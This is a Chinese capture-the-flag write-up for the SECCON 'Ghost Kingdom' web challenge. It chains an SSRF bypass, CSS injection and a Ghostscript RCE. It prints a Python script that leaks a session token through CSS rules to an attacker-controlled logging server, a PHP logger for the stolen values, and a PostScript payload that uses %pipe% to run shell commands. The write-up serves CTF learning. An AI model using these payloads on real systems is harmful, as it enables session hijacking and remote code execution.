内容简介:题目链接:访问链接后的提示如下:首先是一个登录界面:
题目链接:
http://ghostkingdom.pwn.seccon.jp/FLAG/
访问链接后的提示如下:
FLAG is somewhere in this folder. GO TO TOP
首先是一个登录界面:
一通操作后发现没有注入,所以跟着逻辑注册登录继续往下看。
登录后发现侧面有三个功能,但是上传功能被禁止了,标识只有从本地登录才可以使用。尝试修改xxf等方式并没有成功,所以猜测可能是cookie认证问题?
但或者上传处不是关键点,先从上面两个功能开始测试。首先测试 Message to admin
,刚开始猜测可能此处会不会有一个xss bot,打个cookie回来。虽然这个输入框也不存在xss,也没有bot周期性地戳一下,但是在burp抓包中分析到一个css参数可控。联想到可能是CSS 注入读数据这个点,但是我还缺少一个从本地戳戳戳的bot!
此处我们decode一下这个base64可以看到是控制此处的输出样式。
zeroyu@zeros ~/Desktop echo -n "c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9" | base64 -D span{background-color:red;color:yellow}
点击send to admin之后我看到一个csrf参数(有用?)
好像无法但从这一个点入手,所以我决定看看 Take a screenshot
。
很明显是一个ssrf,不过file等协议都被限制了,302跳转好像也没开。虽然限制了127等,但是我们可以通过访问 http://0/
绕过,结果还是有惊喜的。
PS:扫描过程中发现了一个有趣的东西
http://ghostkingdom.pwn.seccon.jp/ghostMagick.cgi
小结:
本来我以为这题是三个点分别突破都可以获取flag,但现在看来不行,真是继承了KeigoYAMAZAKI一贯的出题风格,要综合以上信息,构造利用链来读取flag
0x01 解题步骤
首先 Take a screenshot
处的ssrf可以让我们从 local network
那里进行登录,登录之后可以操作 Upload image
。
但是仅通过这个有限制的ssrf无法进一步利用了。所以换一个角度考虑,如果我们能够从 local network
获取 CGISESSID
在 from internet
进行登录就可以使用 Upload image
功能了呢?
有了这个思路接下来就是获取 CGISESSID
了,联想到 Message to admin
还有一个css inject可以用来读取数据,所以就可以ssrf+css inject联合来获取 CGISESSID
。
此处可以参考: Reading Data via CSS Injection
服务器上使用 php 开个服务器来记录数据
php -S 0.0.0.0:2333
对应的目录下可以放置如下log.php来帮助记录
<?php date_default_timezone_set('Asia/Shanghai'); $ip = $_SERVER["REMOTE_ADDR"]; //记录访问者的ip $filename = $_SERVER['PHP_SELF']; //访问者要访问的文件名 $parameter = $_SERVER["QUERY_STRING"]; //访问者要请求的参数 $time = date('Y-m-d H:i:s',time()); //访问时间 $logadd = '来访时间:'.$time.'-->'.'访问链接:'.'http://'.$ip.$filename.'?'.$parameter."\r\n"; // log记录 $fh = fopen("log.txt", "a"); fwrite($fh, $logadd); fclose($fh); ?>
利用脚本如下:
import base64 CHARLIST = "0123456789" + "abcdef" URL = "http://0/?msg=master&action=msgadm2&css=" # known = "bcc703c0693e6eff894ede" buf = "" for char in CHARLIST: buf += """input[name="csrf"][value^="{}"] {{ background: url(http://your server ip/log.php/{}); }}""".format(known+char,known+char) print(URL + base64.b64encode(buf.encode('utf-8')).decode('utf-8'))
最终可以获取 CGISESSID
的值
之后在浏览器中设置上我们获得的 CGISESSID
,就可以使用 Upload image
功能了。
测试一下
发现有个 Convert to GIF format
结合之前我们发现的 ghostMagick.cgi
很容易想到Ghostscript的rce漏洞。我们将以下代码保存为jpg,上传可以得flag。
%!PS userdict /setpagedevice undef legal { null restore } stopped { pop } if legal mark /OutputFile (%pipe%cat /var/www/html/FLAG/FLAGflagF1A8.txt) currentdevice putdeviceprops
SECCON{CSSinjection+GhostScript/ImageMagickRCE}
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
阿里巴巴Java开发手册
杨冠宝 / 电子工业出版社 / 2018-1 / 35
《阿里巴巴Java开发手册》的愿景是码出高效,码出质量。它结合作者的开发经验和架构历程,提炼阿里巴巴集团技术团队的集体编程经验和软件设计智慧,浓缩成为立体的编程规范和最佳实践。众所周知,现代软件行业的高速发展对开发者的综合素质要求越来越高,因为不仅是编程相关的知识点,其他维度的知识点也会影响软件的最终交付质量,比如,数据库的表结构和索引设计缺陷可能带来软件的架构缺陷或性能风险;单元测试的失位导致集......一起来看看 《阿里巴巴Java开发手册》 这本书的介绍吧!